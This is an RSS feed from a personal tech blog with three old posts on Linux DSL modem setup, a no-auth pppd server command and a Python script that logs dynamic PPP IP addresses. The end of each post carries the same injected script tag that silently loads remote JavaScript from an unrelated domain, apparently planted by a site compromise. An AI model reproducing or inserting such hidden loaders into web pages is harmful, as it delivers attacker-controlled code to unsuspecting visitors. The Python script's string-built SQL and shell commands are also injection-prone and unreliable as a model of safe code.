<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; dsl</title>
	<atom:link href="http://www.larsen-b.com/tags/dsl/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Sagem Fast 800 on Linux (Debian)</title>
		<link>http://www.larsen-b.com/Article/143.html</link>
		<comments>http://www.larsen-b.com/Article/143.html#comments</comments>
		<pubDate>Tue, 10 Aug 2004 14:19:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[dsl]]></category>
		<category><![CDATA[modem]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is quite easy, but the doc is too old.. so: Download latest eagle-usb Untar make make install eagleconfig (to enter your config..) rm /etc/init.d/eagle-usb (this doesn&#8217;t work on debian ..) eaglectl -w (to load kernel modules and so on..) &#8230; <a href="http://www.larsen-b.com/Article/143.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This is quite easy, but the doc is too old.. so:</p>
<ul class="simple">
<li>Download latest <a class="reference" href="http://www.eagle-usb.org/">eagle-usb</a></li>
<li>Untar</li>
<li>make</li>
<li>make install</li>
<li>eagleconfig (to enter your config..)</li>
<li>rm /etc/init.d/eagle-usb (this doesn&#8217;t work on debian ..)</li>
<li>eaglectl -w (to load kernel modules and so on..)</li>
<li>startadsl</li>
</ul>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/143.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PPPd Old School</title>
		<link>http://www.larsen-b.com/Article/33.html</link>
		<comments>http://www.larsen-b.com/Article/33.html#comments</comments>
		<pubDate>Fri, 24 Oct 2003 19:34:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[dsl]]></category>
		<category><![CDATA[ppp]]></category>
		<category><![CDATA[serial]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Setting up PPPD server (with no auth ) edit /etc/ppp/options change auth to noauth ( cause -noauth is disable on debian) pppd /dev/ttyS1 115200 192.168.2.3:192.168.2.10 on the iPaq just pppd .. that all :))]]></description>
				<content:encoded><![CDATA[<p>Setting up PPPD server (with no auth )<br />
edit /etc/ppp/options change auth to noauth ( cause -noauth is disable on debian)</p>
<pre class="literal-block">pppd /dev/ttyS1 115200 192.168.2.3:192.168.2.10</pre>
<p>on the iPaq just pppd .. that all :))<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/33.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Last PPP Ip .</title>
		<link>http://www.larsen-b.com/Article/12.html</link>
		<comments>http://www.larsen-b.com/Article/12.html#comments</comments>
		<pubDate>Fri, 29 Aug 2003 07:42:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[dsl]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[#!/usr/bin/python """ A really simple piece of code that i use to track down my dynamics IP (assigned by my isp while using ppp). """ filename = '/home/soif/Perso/Data/lastIp.sqlite' import sys,os,time try: import sqlite except ImportError: print "Please install python sqlite &#8230; <a href="http://www.larsen-b.com/Article/12.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<pre><span style="color: #444444;">#!/usr/bin/python</span>
<span style="color: #008000;">""</span><span style="color: #008000;">"
A really simple piece of code that i use to track down my
dynamics IP (assigned by my isp while using ppp).

"</span><span style="color: #008000;">""</span>
<span style="color: #2040a0;">filename</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'/home/soif/Perso/Data/lastIp.sqlite'</span>

<strong>import</strong> <span style="color: #2040a0;">sys</span>,<span style="color: #2040a0;">os</span>,<span style="color: #2040a0;">time</span>
<strong>try</strong><span style="color: #4444ff;">:</span>
    <strong>import</strong> <span style="color: #2040a0;">sqlite</span>
<strong>except</strong> <span style="color: #2040a0;">ImportError</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #008000;">"Please install python sqlite binding first"</span>
    <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">createTables</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">schema</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">"CREATE TABLE connect ( <span style="color: #77dd77;">
</span>             id INTEGER PRIMARY KEY, <span style="color: #77dd77;">
</span>             ip VARCHAR(27), <span style="color: #77dd77;">
</span>             date VARCHAR <span style="color: #77dd77;">
</span>             );"</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">schema</span><span style="color: #4444ff;">)</span>
    <strong>print</strong> <span style="color: #008000;">"Database creation: Done"</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">printLastIps</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'SELECT * FROM connect ORDER BY id DESC LIMIT 15'</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">results</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">fetchall</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>print</strong> <span style="color: #008000;">"="</span> <span style="color: #4444ff;">*</span> <span style="color: #ff0000;">78</span>
    <strong>print</strong> <span style="color: #008000;">" Last Ips "</span>
    <strong>print</strong> <span style="color: #008000;">"="</span> <span style="color: #4444ff;">*</span> <span style="color: #ff0000;">78</span>
    <strong>for</strong> <span style="color: #2040a0;">r</span> <strong>in</strong> <span style="color: #2040a0;">results</span><span style="color: #4444ff;">:</span>
        <strong>print</strong> <span style="color: #008000;">'- %-15s  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span> <span style="color: #2040a0;">r</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span>,<span style="color: #2040a0;">r</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">2</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">getLastIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'SELECT * FROM connect ORDER BY id DESC LIMIT 1'</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">r</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">fetchall</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">r</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&gt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">:</span>
        <strong>return</strong> <span style="color: #2040a0;">r</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span>
    <strong>return</strong>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">insertCurrentIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span>,<span style="color: #2040a0;">ip</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">sql</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'INSERT INTO connect values(NULL,"%s","%s") '</span> <span style="color: #4444ff;">%</span>  <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ip</span>,<span style="color: #2040a0;">time</span>.<span style="color: #2040a0;">ctime</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sql</span><span style="color: #4444ff;">)</span>
    <strong>print</strong> <span style="color: #008000;">"Inserting of %s: Done"</span> <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">ip</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span>
    <strong>print</strong> <span style="color: #008000;">" Arguments:"</span>
    <strong>print</strong> <span style="color: #008000;">"    -c    : create the database"</span>
    <strong>print</strong> <span style="color: #008000;">"    -a ip : add the ip to the db"</span>
    <strong>print</strong> <span style="color: #008000;">"    -l    : list the last ips"</span>

<span style="color: #444444;">#import pdb;pdb.set_trace()</span>

<span style="color: #2040a0;">db</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">sqlite</span>.<span style="color: #2040a0;">connect</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span><span style="color: #4444ff;">)</span>
<span style="color: #2040a0;">cursor</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">db</span>.<span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">2</span>  <strong>and</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-c'</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">createTables</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span>

<strong>elif</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">2</span>  <strong>and</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-l'</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">printLastIps</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span>

<strong>elif</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">3</span> <strong>and</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-a'</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">newIp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">2</span><span style="color: #4444ff;">]</span>
    <span style="color: #2040a0;">lastIp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">getLastIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">insertCurrentIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span>,<span style="color: #2040a0;">newIp</span><span style="color: #4444ff;">)</span>
    <strong>if</strong> <span style="color: #2040a0;">lastIp</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">newIp</span><span style="color: #4444ff;">:</span>
        <strong>print</strong> <span style="color: #008000;">"Sending Email"</span>
        <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'echo Changing Ip of gateway from %s to: %s | mail -s '</span><span style="color: #2040a0;">New</span> <span style="color: #2040a0;">Ip</span> <span style="color: #4444ff;">%</span><span style="color: #2040a0;">s</span> <span style="color: #008000;">' -a '</span><span style="color: #2040a0;">From</span><span style="color: #4444ff;">:</span> <span style="color: #2040a0;">jkx</span>@<span style="color: #2040a0;">club</span><span style="color: #4444ff;">-</span><span style="color: #2040a0;">internet</span>.<span style="color: #2040a0;">fr</span><span style="color: #008000;">' jkx@wanadoo.fr'</span> <span style="color: #4444ff;">%</span>  <span style="color: #4444ff;">(</span><span style="color: #2040a0;">lastIp</span>,<span style="color: #2040a0;">newIp</span>,<span style="color: #2040a0;">newIp</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span>

<strong>else</strong><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #2040a0;">db</span>.<span style="color: #2040a0;">commit</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span></pre>
<p>Sample output</p>
<pre>
==============================================================================
 Last Ips
==============================================================================
- 217.128.96.43    Thu Aug 28 21:33:40 2003
- 193.252.3.209    Wed Aug 27 21:33:43 2003
- 217.128.96.95    Tue Aug 26 21:33:47 2003
- 80.15.151.254    Tue Aug 26 18:53:18 2003
- 80.15.151.107    Tue Aug 26 07:34:39 2003
- 81.48.168.91     Mon Aug 25 07:34:36 2003
- 80.15.151.40     Sun Aug 24 07:34:38 2003
- 81.48.168.41     Sat Aug 23 07:54:41 2003
- 80.15.151.125    Fri Aug 22 07:34:44 2003
- 80.15.151.169    Thu Aug 21 07:34:46 2003
- 193.251.14.187   Wed Aug 20 07:34:49 2003
- 193.251.14.36    Tue Aug 19 07:35:07 2003
- 81.48.168.47     Mon Aug 18 07:35:01 2003
- 80.15.151.187    Sun Aug 17 07:34:58 2003
- 81.48.168.75     Sat Aug 16 07:35:01 2003</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/12.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
